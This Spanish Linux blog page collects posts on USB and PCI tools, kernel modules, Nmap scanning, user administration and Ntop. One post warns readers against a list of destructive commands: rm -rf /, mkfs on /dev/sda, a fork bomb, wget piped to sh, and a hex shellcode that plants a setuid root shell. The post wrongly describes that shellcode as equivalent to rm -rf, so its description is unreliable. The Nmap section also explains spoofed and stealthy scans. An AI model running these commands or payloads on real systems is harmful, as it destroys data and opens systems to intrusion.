viernes, 15 de enero de 2010

Linux USB Drivers:

USB es un protocolo y un puerto de hardware para la transferencia de datos desde dispositivos, por el puerto de interfaz ATA o SCSI y proporciona una mejor velocidad que el puerto serie RS-232 y puertos paralelos. el USB 1.0 y 1.1 permiten hasta 127 dispositivos y 12 Mbps de tranferencia de datos. el USB 2.0 permite velocidades mayores a 480 Mbps.

Varios diferentes controladores estan disponibles, con nombres tales como UHCI, OHCI, EHCI y R8A66597. Las distribuciones Linux vienen con los controladores para el común de los USB activados, por lo que debe activarse automáticamente al arrancar el ordenador. UHCI y OHCI manejan dispositivos USB 1.x, pero la mayoría de los controladores pueden manejar los dispositivos USB 2.o
Un modo sencillo de mostrar la información Básica de los dispositivos USB es el comando lsusb.

ejemplo lsusb
#lsusb
Bus 002 Device 005: ID 413c:8156 Dell Computer Corp. Wireless 370 Bluetooth Mini-card
Bus 002 Device 003: ID 413c:8157 Dell Computer Corp. Integrated Keyboard
Bus 002 Device 004: ID 413c:8158 Dell Computer Corp. Integrated Touchpad / Trackstick
Bus 002 Device 002: ID 0a5c:4500 Broadcom Corp. BCM2046B1 USB 2.0 Hub (part of BCM2046 Bluetooth)
Bus 002 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 006 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 004 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 005 Device 002: ID 08ff:2810 AuthenTec, Inc.
Bus 005 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 001 Device 004: ID 05ca:18a0 Ricoh Co., Ltd
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 007 Device 002: ID 0458:003a KYE Systems Corp. (Mouse Systems)
Bus 007 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub
Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 008 Device 001: ID 1d6b:0001 Linux Foundation 1.1 root hub

-v :
información extendida sobre el producto.

-s [[bus]:][devnum]
restringe el resultado del bus y se especifica en el número del dispositivo.

-d [vendor]:[product] :
limita a un proveedor en particular y un producto. El vendedor y el producto son los códigos de identificación en cada linea de la salida de lsusb.

-D
muestra información sobre el dispositivo a través de nombre de archivo, en el directorio/proc/bus/usb.

-t
muestra la lista de dispositivos como un árbol de modo que podamos ver mas fácilmente que dispositivos están conectados a controladores específicos.

-- version
muestra la versión de la utilidad.


A principios para utilizar los dispositivos USB requiría un controlador independiente para cada dispositivo. Muchos de estos controladores permanecer en el núcleo, y algún software se basa en ellos. Por ejemplo, los dispositivos de almacenamiento USB que utilizan los controladores de disco de almacenamiento USB interactúan con el soporte de Linux SCSI, siendo discos duros USB, discos extraíbles, y así parecen dispositivos SCSI.

Linux es la migración hacia un modelo en el que un sistema de archivos USB proporciona acceso a los dispositivos USB. Este sistema de archivos aparece como parte del sistema de archivos virtual /proc.
En particular, la información del dispositivo USB es accesible desde /proc/bus/usb. Los subdirectorios de /proc/bus/usb se dan nombres numerados en función de los controladores USB instalado en el equipo, como en /proc/bus/usb/001 para el primer controlador USB. El software puede acceder a los archivos en estos directorios para control de los dispositivos USB en lugar de utilizar los archivos de dispositivo en /dev como con la mayoría de dispositivos de hardware.


Removiendo los módulos del kernel

A veces es posible que se desee quitar un módulo cargado. Las razones podría ser, la recuperación de pequeña cantidad de memoria, eliminación de un módulo antiguo para que pueda cargar un módulo actualizado, y la eliminación de un módulo que se sospecha que no es fiable. El trabajo de la eliminación de un módulo del kernel se hace mediante el comando rmmod, que es algo de lo contrario de insmod. El comando rmmod toma un nombre de módulo con una opción, en lugar de un nombre de archivo del módulo.
#rmmod floppy
-v or - -verbose : opción le dice a rmmod mostrar información extra sobre lo que está haciendo. Esto puede ser útil si está solucionando un problema.

-f or --force : fuerza la eliminación del módulo, esta opción no tiene efecto si esta marcada la opción del núcleo CONFIG_MODULE_FORCE_UNLOAD.

-w or --wait : detiene la eliminación de un módulo hasta que deje de ser usado, después es desistalado.

insmod y rmmod operan en un solo módulo. si se intenta remover un módulo que dependa de otros rmmod devolverá un mensaje de error. Si deseamos remover un módulo y todos los que dependen se puede utilizar el comando modprobe y su opción -r.

Cargando Modulos del Kernel

Linux permite cargar módulos del núcleo con dos programas ismod y modprobe. El programa insmod inserta un modulo en el kernel y este proceso requiere que conozcamos los módulos en que se basa. El programa modprobe carga automáticamente cualquier dependencia y es la mejor forma.

Linux puede cargar módulos automáticamente, esta capacidad se basa en un auto-loader del kernel que hace la función de cargador, entonces insmod y modprobe puede ser útil para probar nuevos módulos y evitar problemas con el auto-loader.

insmod /lib/modules/2.6.26/kernel/drivers/block/floppy.ko

o

modprobe floppy
con modprobe carga todas las dependencias del módulo automaticamente.

////////////////////////////////////////////////////////

-v o --verbose
muestra información acerca de sus operaciones, esto incluye un resumen de todas las operaciones que realiza insmod.

-C --config
El programa modprobe usa un archivo de configuración llamado / etc / modprobe.conf.
modprobe -C /etc/mymodprobe.conf floppy

-n or --dry-run
Hace que modprobe realice todas las operaciones, excepto las inserción real del módulo. Puede utilizar esta opción junto con-v para ver qué haría modprobe sin cargar el módulo.

-r or –remove
Eliminar el módulo especificado y cualquier de sus dependencias. (Si las dependencias de módulos están utilizadas no se eliminan.)

-f or –force : opción le dice a modprobe para forzar la carga del módulo, incluso si la versión del núcleo no coincide con lo que el módulo espera.

--show-depends : opción muestra todos los módulos en los que el módulo especificado depende. No instala modulo

-l or –list : opción muestra una lista de opciones disponibles cuyos nombres coinciden con el comodín que usted especifique. Por ejemplo, escribiendo modprobe -l v* muestra todos los módulos cuyos nombres comienzan con v. Si no proporcionan comodín, modprobe muestra todos los módulos disponibles. No instala módulos.



Módulos del kernel

El hardware en Linux es manejado por los controladores del núcleo, muchos de los cuales vienen en forma de módulos del Kernel, estos archivos se almacenan en /lib/modules y pueden ser cargados y descargados, para proporcionar acceso al hardware. Normalmente las cargas de los módulos se hacen al arranque del sistema, pero podemos cargar módulos adicionales.

La columna más importante de esta producción es el primero, denominado Módulo; esta columna se especifican los nombres de todos los módulos que se cargan actualmente. Se puede aprender más acerca de estos módulos con modinfo.

ejemplo de lsmod

DebianBox:~# lsmod
Module Size Used by
binfmt_misc 7088 1
loop 13288 0
snd_intel8x0 26584 0
snd_ac97_codec 91264 1 snd_intel8x0
snd_pcm 62416 2 snd_intel8x0,snd_ac97_codec
....

ahora ejecutamos modinfo
ejemplo:
DebianBox:~# modinfo psmouse
filename: /lib/modules/2.6.30-2-686/kernel/drivers/input/mouse/psmouse.ko
license: GPL
description: PS/2 mouse driver
author: Vojtech Pavlik
alias: serio:ty05pr*id*ex*
alias: serio:ty01pr*id*ex*
depends:
vermagic: 2.6.30-2-686 SMP mod_unload modversions 686
parm: proto:Highest protocol extension to probe (bare, imps, exps, any). Useful for KVM switches. (proto_abbrev)
parm: resolution:Resolution, in dpi. (uint)
parm: rate:Report rate, in reports per second. (uint)
parm: smartscroll:Logitech Smartscroll autorepeat, 1 = enabled (default), 0 = disabled. (bool)
parm: resetafter:Reset device after so many bad packets (0 = never). (uint)
parm: resync_time:How long can mouse stay idle before forcing resync (in seconds, 0 = never). (uint)
///////////////////////////////////////////////////////////////////////////////

La columna Used de la salida de lsmod describe lo que esta utilizando el módulo, todos tienen un número que indica el número de otros módulos o procesos que está utilizando el módulo.

El comando lsmod muestra sólo información sobre módulos del kernel, no de los drivers que se compilan directamente en el kernel de linux. Por esta razón, un módulo puede ser cargado en un sistema, pero no en otro para el mismo hardware, porque el segundo sistema puede compilar el driver correspondiente directamente en el núcleo.

Configurando PCI

Muchos dispositivos requieren configurar IRQ, puertos I/O, DMA pero no todos los dispositivos utilizan los tres recursos, este proceso antes era tedioso y se hacia mediante jumpers, ahora se puede configurar mediante software.
El bus PCI es un bus de expansión y fue diseñado con la tecnología Plug-and-Play (PnP) en la mayoría de dispositivos esto es de forma automática, y no hay necesidad de hacer algún cambio, pero se puede ajustar los dispositivos de varias maneras.
La mayoría de BIOS tienen opciones de cambiar la forma de los recursos
El kernel de Linux tiene una opción que afecta a la forma en que detecta los dispositivos PCI
Algunos controladores de Linux hacen que se configure el hardware, debemos consultar los archivos de la documentación para los detalles o como opciones de módulos.
Podemos utilizar setpci para ajustar las configuraciones su sabemos lo suficiente de hardware, pero no es muy usado para ajustar IRQ, I/O o DMA.

lspci
Podemos comprobar cómo los dispositivos PVI son configurados, el comando lspci es utilizado para este propósito y muestra toda la información de los buses PCI y todos los dispositivos conectados a los buses.
-v
Incrementa la verbosidad de la salida. Esta opción puede ser duplicado (-vv) o triplicado (-vvv) para producir una salida aún mayor.

-n
muestra la información en códigos numéricos en lugar de nombres de fabricante y los nombres de dispositivos.


-nn
Muestra tanto los fabricantes como los nombres y sus códigos.

-x
Muestra la configuración PCI para cada dispositivo en hexadecimal. -xxx triplica -xxxx cuadriplica.


-b muestra en múmero de IRQ como es visto por otros dispositivos en vez de como es visto por el núcleo.

-t
Muestra una vista en árbol la relación de los dispositivos.

-s [[[[domain]:] bus]:][slot][.[func]]
Muestra sólo los dispositivos que coinciden con la especificación de la lista.

-d [vendor]:[device]
Muestra los datos del dispositivo especificado.

-i file
Utiliza el archivo especificado para mapear proveedores y identificadores de dispositivos por defecto el archivo es /usr/share/misc/pci.ids

-m
Volcado de datos en formato compatible para versiones anteriores de scripts. -mm es para nuevo formato.

-D
Muestra los números de dominio PCI. Estos números normalmente no se muestran.

-M
Realiza un escaneo de asignación de Bus, puede revelar dispositivos ocultos o mal configurados, esta opción puede ser ejecutada por root.

--version
Muestra información de la versión.

PCI

fuente: http://es.wikipedia.org/wiki/Peripheral_Component_Interconnect
Un Peripheral Component Interconnect (PCI, "Interconexión de Componentes Periféricos") consiste en un bus de ordenador estándar para conectar dispositivos periféricos directamente a su placa base. Estos dispositivos pueden ser circuitos integrados ajustados en ésta (los llamados "dispositivos planares" en la especificación PCI) o tarjetas de expansión que se ajustan en conectores. Es común en PC, donde ha desplazado al ISA como bus estándar, pero también se emplea en otro tipo de ordenadores.

A diferencia de los buses ISA, el bus PCI permite configuración dinámica de un dispositivo periférico. En el tiempo de arranque del sistema, las tarjetas PCI y el BIOS interactúan y negocian los recursos solicitados por la tarjeta PCI. Esto permite asignación de IRQs y direcciones del puerto por medio de un proceso dinámico diferente del bus ISA, donde las IRQs tienen que ser configuradas manualmente usando jumpers externos. Las últimas revisiones de ISA y el bus MCA de IBM ya incorporaron tecnologías que automatizaban todo el proceso de configuración de las tarjetas, pero el bus PCI demostró una mayor eficacia en tecnología "plug and play". Aparte de esto, el bus PCI proporciona una descripción detallada de todos los dispositivos PCI conectados a través del espacio de configuración PCI.

Como escanear nuestra red con Nmap

fuente: http://www.axlinux.es/2009/07/como-escanear-nuestra-red-con-nmap.html


El otro día publiqué un artículo sobre Ntop, herramienta con la cual podíamos hacer un análisis del tráfico de nuestra red. En esta ocasión vamos a realizar otro tipo de análisis a nuestra red con Nmap.

Nmap, según la wikipedia, es un programa de código abierto que sirve para efectuar rastreo de puertos escrito originalmente por Gordon Lyon (más conocido por su alias Fyodor Vaskovich). Se usa para evaluar la seguridad de sistemas informáticos, así como para descubrir servicios o servidores en una red informática.

Es un software multiplataforma pudiendo ser ejecutada tanto en Linux, Unix(Solaris, Mac OS X, BSD) o Windows.

La salida de Nmap es un listado de objetivos analizados, con información adicional para cada uno dependiente de las opciones utilizadas. La información primordial es la “tabla de puertos interesantes”. Dicha tabla lista el número de puerto y protocolo, el nombre más común del servicio, y su estado. El estado puede ser open (abierto), filtered (filtrado), closed (cerrado), o unfiltered (no filtrado). Abierto significa que la aplicación en la máquina destino se encuentra esperando conexiones o paquetes en ese puerto. Filtrado indica que un cortafuegos, filtro, u otro obstáculo en la red está bloqueando el acceso a ese puerto, por lo que Nmap no puede saber si se encuentra abierto o cerrado. Los puertos cerrados no tienen ninguna aplicación escuchando en los mismos, aunque podrían abrirse en cualquier momento. Los clasificados como no filtrados son aquellos que responden a los sondeos de Nmap, pero para los que que Nmap no puede determinar si se encuentran abiertos o cerrados. Nmap informa de las combinaciones de estado open|filtered y closed|filtered cuando no puede determinar en cual de los dos estados está un puerto. La tabla de puertos también puede incluir detalles de la versión de la aplicación cuando se ha solicitado detección de versiones. Nmap ofrece información de los protocolos IP soportados, en vez de puertos abiertos, cuando se solicita un análisis de protocolo IP con la opción (-sO).

Además de la tabla de puertos interesantes, Nmap puede dar información adicional sobre los objetivos, incluyendo el nombre de DNS según la resolución inversa de la IP, un listado de sistemas operativos posibles, los tipos de dispositivo, y direcciones MAC.

Nmap proporciona también características avanzadas como la detección remota del sistema operativo por medio de huellas TCP/IP , escaneo tipo stealth (oculto), retraso dinámico y cálculos de retransmisión, escaneo paralelo, detección de servidores inactivos por medio de pings paralelos, escaneo con señuelos, detección de filtrado de puertos, escaneo por fragmentación y especificación flexible de destino y puerto. Se han hecho grandes esfuerzos encaminados a proporcionar un rendimiento decente para usuarios normales (no root). Por desgracia, muchos de los interfaces críticos del kernel (tales como los raw sockets) requieren privilegios de root. Debería ejecutarse nmap como root siempre que sea posible.


Como instalar Nmap

Como Nmap esta disponible en los repositorios oficiales de Ubuntu solo tenemos que teclear desde terminal:

$ sudo apt-get install nmap

Para el resto de distribuciones al final del post hay un enlace para descargar desde la página web oficial, así como para aquellos que quieran instalar la última versión o para otras plataformas.

Uso de nmap

Se recomienda usar nmap con sudo, tal como ya he mencionado.

$ sudo nmap [Tipo de Scan] [Opciones] victima(s) o red_victima

Opciones de Nmap

-h Muestar la ayuda.

-sP ping "scan". Este es utilizado solo para saber si determinado(s) host(s) están en ese momento vivos o conectados, normalmente esto lo realiza nmap enviado paquetes a el puerto 80 de un host pero si este tiene un filtrado de ese puerto podrás ser detectado de todas formas.

-sU Es un Scan de Puertos abiertos con protocolo UDP, solo root puede ejecutarlo.

-sS Ping oculto, entrega solo la respuesta final para dejar menos registros.

-b ftp "bounce attack" utilizado para ver si se puede utilizar un host para pasar una conexión ftp a través de el y no hacer el ftp a otro host desde tu maquina directamente.

-f Utiliza pequeños paquetes fragmentados para el SYN , Xmas , FIN o barrido nulo.

-P0 No hace "ping" al host en cuestión , necesario para el scan o "barrido" a sistemas de detección de ataques sensibles.

-PT Utiliza el Ping de tcp para determinar si un host esta conectado para el caso de -sT y -sP esta opción aunque no es suministrada va implícita en el método.

-PT21 Utiliza el Ping tcp para hacer prueba de conexión a el puerto 21 o a cualquier otro especificado después del -PT ejm: -PT110 .

-PI Utiliza paquetes icmp para determinar que hosts están conectados y es especial si deseas hacer un scan a través de un firewall.

-PB Hace la misma función que el barrido (scan) TCP y ICMP, se le puede especificar un puerto destino despues de la "B".

-PS Utiliza el TCP SYN sweep en lugar de el valor por defecto que es el ack sweep utilizado en el Ping TCP.

-O Utiliza el TCP/IP "fingerprinting" para determinar que Sistema operativo esta corriendo un host remoto.

-p o puertos: ejm: '-p 23' solo intenta hacer conexión con el(los) host(s) en el puerto especificado para extraer de allí la información necesaria para la operación de scan. Otros
ejemplos '-p 20-100,31330-' hace un barrido entre los puertos 20-30 y entre 31330-65535. por defecto el barrido es entre los puertos 1 y el 1024 mas los que parezcan en el /etc/services.

-F Barrido Rápido a "Fast Scan" solo examina los puertos que están en el /etc/services.

-I Toma información de quien es el dueño del proceso que se esta ejecutando pero solo se puede ejecutar con el -sT por lo cual deja una traza enorme en el log de la víctima por ello debe evitar utilizar esta opción.

-n no hace conversiones DNS para hacer el -sP mas rapido.

-R Intenta Convertir utilizando DNS (o sea del ip te muestra el hostname ejm: le das 127.0.0.1 y te muestra que es localhost.localdomain).

-o guarda el mismo resultado mostrado por pantalla en un archivo en formato entendible para los humanos.

-m lo mismo que lo anterior pero la salida es en un formato de maquina.

-i Lee las IPs de las víctimas desde un archivo.

-g Indica que puerto local se utilizara para enviar los paquetes para el scan.

-S Si quieres especificar una IP para que sea la fuente del scan, ideal para hacer "Scan Spoofing" o encubrir tu scan.

-v Verbose. Muestra mas Información.

-V Imprime la versión de nmap y sale.

-e . Enviar los paquetes a través de esta interface en tu host puede ser eth0,ppp0,ppp1 etc.

Front-ends para Nmap

Nmap se puede ejecutar desde consola, pero también disponemos de varios front-end para utilizar Nmap en entornos gráficos todos ellos disponibles en repositorios para las distribuciones Ubuntu.

Umit: UMIT (antes llamado NmapFE++), un nuevo front end para nmap escrito en Phyton y que usa las GTK.

El interfaz del programa es cómodo y muy intuitivo. Cuenta con un ‘wizard’ con dos niveles (novatos o usuarios experimentados) que te permite construir el comando que necesitas sin tener que recordar las decenas de opciones que posee nmap, permite lanzar comandos previamente definidos y comparar los resultados entre distintas sesiones y disponemos tanto de la salida original de la herramienta (pero con ’sintaxis iluminada’ para una mayor comprensión) como de salidas filtradas y decoradas con iconos para que resulten más intuitivas.

UMIT, el nuevo Front End para nmap

NmapSi4: NmapSi4 es una Qt-based Gui completo que permite ejecutar todas las opciones de Nmap


Knmap: Knmap es un front-end de Nmap para Kde.


En resumen

Nmap es una potente herramienta de seguridad, que nos permitirá saber lo que tenemos en nuestra red, realizando un mapa de la misma identificando los diferentes componentes de la misma permitiendo identificar incluso a intrusos en la misma.

Comandos maliciosos para Linux que no deberian ser ejecutados

fuente:
http://www.axlinux.es/2008/11/comandos-maliciosos-para-linux-que-no.html


Linux tampoco esta libre de usuarios malintencionados y si eres nuevo en este entorno no esta de mas que conozcas estas cosas. Existen comandos que no es recomendable ejecutar en nuestro sistema o evitar ejecutar si están contenidos dentro de shell scripts. Yo siempre digo que no hagáis Copy & Paste al tuntún de comandos, o si os bajáis algún script de un sitio que no conozcáis, lo editéis al menos antes y echéis un vistazo a su contenido para evitar luego males mayores.

Algunos de estos comandos “peligrosos” son:

1. rm -rf /

Este comando borra recursivamente todos los ficheros almacenados en el directorio root. Vendria a ser el equivalente (mas o menos) a un FORMAT C: en Windows.

2.

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es el mismo comando que el anterior, pero escrito en su forma hexadecimal.

3. mkfs.ext3 /dev/sda

Formatea el sistema de archivos que se encuentra en /dev/sda (que generalmente es nuestro disco duro).

4. :(){:|:&};:

Conocido tambien como forkbomb, Este comando comenzara a crear y ejecutar un elevado numero de procesos en el sistema hasta que este se bloquee.

5. cualquier_comando > /dev/sda

Sobreescribe el dispositivo de bloques (/dev/sda) con la salida del comando ejecutado, generalmente borrando el contenido actual del dispositivo y provocado la perdida total de datos.

6. wget http://alguna_url -O- | sh

Este comando descargara un fichero ejecutable o script y lo ejecutara. Si el sitio no es confiable podria ser contenido malicioso.

7. mv /home/tu_usuario/* /dev/null

Mueve todas las carpetas de tu home a /dev/null, lo que provoca que sean borradas (eliminadas).

Como hacer nuestro Linux más seguro I: Administración de usuarios y grupos de usuarios.

fuente: http://www.axlinux.es/2009/12/como-hacer-nuestro-linux-mas-seguro-i.html
Todo sistema operativo tiene que tener un sistema de administración de usuarios y los grupos de usuarios para tener un sistema seguro. Y para hacer nuestro Linux sea mas robusto tenemos y/o debemos saber como funcionan estos sistemas. Para ello vamos a explicar este funcionamiento.

En Linux, independientemente de la distribución que usemos, los ficheros relacionados con la gestión de los usuarios y grupos estarán en:
  • /etc/passwd
  • /etc/shadow
  • /etc/group
  • /home/usuario (directorio)
  • /etc/skel
El fichero /etc/passwd
Este fichero contiene la lista de todos los usuarios definidos en el sistema. Contiene 7 campos separados por ":" :
  • Login name: Nombre corto del usuario, este debe ser único, no poseer mas de 32 caracteres, no debe empezar por números y puede contener letras, números y signos de puntuación exceptuando ":". Cabe recordar que son case sensitive, es decir diferencia entre mayúsculas y minúsculas.
  • Encryted password: El campo de contraseñas, si se encuentra vacío, no se requiere contraseña, si contiene una "x" es que se utiliza el concepto Shadow password, si contiene un "*" indica que la cuenta se encuentra deshabilitada.
  • User ID (UID) number: Identificador único de usuario, cada usuario posee un UID, el usuario root posee el UID 0, otras cuentas del sistemas poseen el UID < href="http://www.axlinux.es/search/label/Ubuntu">Ubuntu empiezan en 1000. Se recomienda conserva un mismo UID a través de toda la red para evitar problemas de seguridad. Es decir si dos equipos de una red tienen usuarios diferentes y estos tienen el mismo UID esto podría generar problemas de seguridad.
  • Default Group ID (GID) number: Identificador de grupo primario. Cada usuario pertenece a un grupo primario por defecto, de forma automática es miembro de ese grupo al iniciar la sesión. Los grupos se encuentran definidos en un fichero. Cada grupo posee su propio GID, el GID del root es el 0. Siempre hay que diferenciar los grupos de los usuarios aunque posean el mismo nombre.
  • Comment: Campo comentario. Este campo es utilizado para añadir información adicional sobre el usuario. Los usuarios pueden actualizarlo a través del comando chfn. Este campo es utilizado por algunos servicios como es el caso de finger, para mostrar información en la red.
  • Home Directory: La carpeta personal del usuario. Es la ubicación del usuario al iniciar la sesión. Utilizado para almacenar configuraciones y ficheros.
  • Default Shell: Interprete de comando por defecto al iniciar la sesión, este suele ser por defecto Bash: Los usuarios pueden cambiar el shell utilizando el comando chsh
El fichero /etc/shadow
El uso de shadow password permite eliminar el acceso publico a las contraseñas encriptadas de los usuarios eliminándolas del fichero /etc/passwd e incorporándolas en /etc/shadow que solo solo tiene acceso el usuario root.

La estructura de este fichero es:
  • username: identificación del usuario.
  • password: contraseña encriptada del usuario.
  • lastchg: el último día que se cambio la contraseña del usuario contados desde el el año 1970.
  • min: número mínimo de días que deben pasar antes que una contraseña se permita ser cambiada.
  • max: número máximo de días que pueden pasar antes que una contraseña deba ser cambiada.
  • warm: número de días previos de aviso a que la contraseña venza.
  • inactive: número máximo de días que pueden pasar entre dos accesos al sistema (periodo de inactividad).
  • expire: fecha de expiración de cuenta de usuario
  • flag: campo reservado por parte del sistema operativo.
El fichero /etc/group
Los grupos de usuarios se encuentran definidos en este fichero y contiene la siguiente información:
  • Group name: El nombre del grupo que no puede comenzar con: guiones "-", signo más "+", la arroba "@" y tildes "'". No se puede utilizar como nombre de grupo "ALL" o "default". Tampoco se puede utilizar los siguientes símbolos en la estructura del nombre: dos puntos ":", comilla doble ("), almohadilla "#", signo igual "=", contra barra "\", barra "/", signos de interrogación "¿?", comilla simple "'", comilla invertida, coma ",".
  • Password: contraseña del grupo.
  • Group ID numer (GID): Identificador del grupo.
  • Member User: usuarios que pertenecen al grupo.
El directorio /etc/skel y el directorio /Home/usuario.

El directorio /home : Es la carpeta donde se guardan los archivos personales de todos los usuarios, documentos, configuración específica de ciertos programas, etc. Dentro, existe una carpeta con el nombre de cada usuario. Generalmente, cada usuario tiene acceso sólo a su directorio home. Los usuarios normales tienen total control (lectura, escritura, ejecución) de los archivos de su “home” y en caso que un usuario común haga algo realmente desastroso con el sistema, sólo afectará su home, dejando el del resto de usuarios y el resto del SO intacto. El superusuario (root) tiene acceso total a todos los directorios de los demás usuarios (recuerden la frase: “cada user en su home y el root en el de todos”).


El directorio /etc/skel es bastante simple de configurar y usar. Proporciona una forma de estar seguro de que todos los nuevos usuarios de tu sistema LFS tienen la misma configuración inicial. El directorio /etc/skel es usado por el programa /usr/sbin/useradd.

Para empezar, crea un directorio /etc/skel. La mejor forma de hacerlo es como usuario root. Después copia en /etc/skel aquellos ficheros que quieras que cada nuevo usuario tenga en su directorio home. Por ejemplo, .bash_profile, .bashrc, .bash_logout, dircolors, .inputrc, y .vimrc.

Comandos para la administración de usuarios y grupos



Para administrar los usuarios tenemos los comandos:
  • useradd: añade usuarios
  • usermod: modifica y/o actualiza usuarios
  • userdel: elimina la cuenta de usuario del sistema
Estos comandos actúan sobre los ficheros /etc/passwd, /etc/shadow, /etc/group.
Estos comando solo pueden ser utilizados por los administradores del sistema o el usuario root.

Para administrar los grupos disponemos de los siguientes comandos:

  • groupadd: añadimos un grupo nuevo.
  • groupmod: modifica un grupo.
  • groupdel: borra un grupo.
  • newgrp: permite modificar el grupo primario del usuario.
Estos comandos actúan sobre el fichero /etc/group. Estos comando solo pueden ser utilizados por los administradores del sistema o el usuario root.

Para más información sobre el uso de estos comandos man comando, ejemplo; man useradd, para obtener información del uso del comando useradd

La cuenta root
Toda distribucion de Linux posee una cuenta de usuario con máximos privilegios conocida como superusuario y denominada como root.

Todos los ficheros y procesos del sistema poseen como propietario la cuenta root, esta cuenta actúa como el dueño de cualquier fichero o proceso por mas que no figura explícitamente. La cuenta de root posee privilegios de operación del sistema por lo que es la cuanta mas peligrosa del sistema, en términos de seguridad.Esta cuenta posee el UID=0.

La cuenta root puede ser renombrada, pueden crearse otras cuentas que posean UID=0 dando automáticamente el privilegio de root. Aunque ninguna de estas medidas es aconsejable.

Tampoco es aconsejable utilizar la cuenta root como cuenta de uso cotidiano. Ya que en Linux se permite a esta cuenta efectue operaaciones sobre ficheros y procesos. Por lo que podria dejar el sistema inhabilitado como puede ser el uso del comando rm -r/.

Antes de iniciar una sesion como root es aconsejable iniciar la sesion con otro usuario y convertirse en root cuando sea necesario.

El comando su permite convertise en root o cualquier usuario. Al utilizado sin argumentos se solicita automaticamente la contraseña del root.

Los privilegios de root no pueden ser eliminados.

El comando sudo

Una alternativa al comando su es el comando sudo. Este comando nos pertmite la ejecución de cualquier comando sin necesidad de convertirnos en root.

Colocaremos el comando sudo delante del comando que necesitemos ejecutar como root. Por ejemplo: sudo apt-get update.

Pero puede cualquier usuario utilizar sudo. Pues no, solo lo podrán usar aquellos usuarios que estén configurados en el fichero /etc/sudoers. De hecho el comando sudo consulta este fichero para saber si el usuario esta o no autorizado a usarlo. Si se encuentra habilitado sudo solicitada la contraseña del usuario para confirmar la realización de la tarea.

Una vez utilizado el comando sudo no se volverá a solitar la tarea hasta que pasen 5 minutos ( o el tiempo que se haya establecido). Sudo conserva un log de los comandos utilizados, quien lo hizo, cuando y desde que directorio.

Es por ello que se recomienda usar el comando sudo en lugar su, ya que dispone de las siguientes ventajas:
  • Logs. Por lo que podremos rastrear el uso del comando.
  • Limitación del conocimiento de la contraseña del usuario root
  • Mas rápido que utilizar su o iniciar la sesión como root.
  • Menos posibilidades de dejar la cuenta root desatendida.
Consejos de seguridad para la administración de usuarios y grupos de usuarios.
  • Todos los usuarios deberían tener una contraseña.
  • Deshabilitar las cuentas que no se utilicen.
  • Deshabilitar la cuenta del usuario invitado.
  • Usar sudo en lugar de root siempre que el se pueda y en caso de no poder hacerlo usar root siempre en una sesión nueva y en terminal, no es recomendable usar root en entorno gráficos.
  • No se recomienda el uso de inicios de automáticos.

Como analizar el trafico de nuestra red con Ntop

Fuente: http://www.axlinux.es/2009/07/como-analizar-el-trafico-de-nuestra-red.html

NTOP (Network TOP) es una herramienta que no puede faltar al administrador de red, porque permite monitorizar en tiempo real los usuarios y aplicaciones que están consumiendo recursos de red en un instante concreto y además es capaz de ayudarnos a la hora de detectar malas configuraciones de algún equipo (esto salta a la vista porque al lado del host sale un banderín amarillo o rojo, dependiendo si es un error leve o grave), o a nivel de servicio. Posee un microservidor web que permite que cualquier usuario, que sepa la clave, pueda ver la salida NTOP de forma remota con cualquier navegador, y además es GNU. El software esta desarrollado para plataformas Unix y Windows.

En Modo Web, actúa como un servidor de Web, volcando en HTML el estado de la red. Viene con un recolector/emisor NetFlow/sFlow, una interfaz de cliente basada en HTTP para crear aplicaciones de monitoreo centradas en top, y RRD para almacenar persistentemente estadísticas de tráfico.

Los protocolos que es capaz de monitorizar son: TCP/UDP/ICMP, (R)ARP, IPX, DLC, Decnet, AppleTalk, Netbios, y ya dentro de TCP/UDP es capaz de agruparlos por FTP, HTTP, DNS, Telnet, SMTP/POP/IMAP, SNMP, NFS, X11.


Ntop esta disponible en los repositorios de Ubuntu, lo puedes usar como demonio o ejecutarlo como comando.

Para instalarlo solo tienes que escribir:

$sudo apt-get install ntop

Para ejecutarlo tienes que hacerlo como sudo con la siguiente sintaxis.

$sudo ntop

Ojo si ya lo has configurado como demonio, no tienes porque ejecutar el comando, directamente puedes ver el análisis del trafico de red con para ello abrimos el navegador y escribimos:

http://localhost:3000

¿Para que nos sirve Ntop?

Ntop nos sirve para auditar el trafico de nuestra en busca de errores en la misma.

¿Como podemos hacer esto?

Ntop nos facilita una serie de menús que nos permite estudiar los diferentes componentes de nuestra red con los diferentes protocolos mencionados anteriormente.

¿Qué información nos aporta Ntop?

  • Dispone de gran variedad de informes: informes globales de carga de red, de tráfico entre elementos, de sesiones activas de cada elemento, etc.
  • Detecta posibles paquetes perniciosos.
  • Permite exportar los datos a una base de datos relacional MySQL para su análisis.
  • Es capaz de analizar datos proporcionados por dispositivos de red que soporten NetFlowsFlow. y
  • Pues hasta el mínimo detalle. Ntop nos aporta mucha información tandt de los interfaces, el trafico y los host de nuestra red. Nos dice a que hora se utiliza la red, durante cuanto tiempo se esta conectado a un servicio, pagina web... Que web se visitan, donde están estas web, que sistemas operativos usan....
  • Nos muestra gráficas del uso de la red, en sus diferentes dispositivos, con sus diferentes protocolos y sus diferentes niveles de detalle.

¿Para que nos sirve esta información?

Para muchas cosas, ejemplos:

  • Un hogar donde se usa Linux y Windows. Supón que en Windows el ordenador tiene un troyano o gusano que cada x tiempo manda información a internet. Con Ntop podríamos observar que se esta mandando es información, a que dirección web la esta mandando y con que frecuencia se esta mandando.
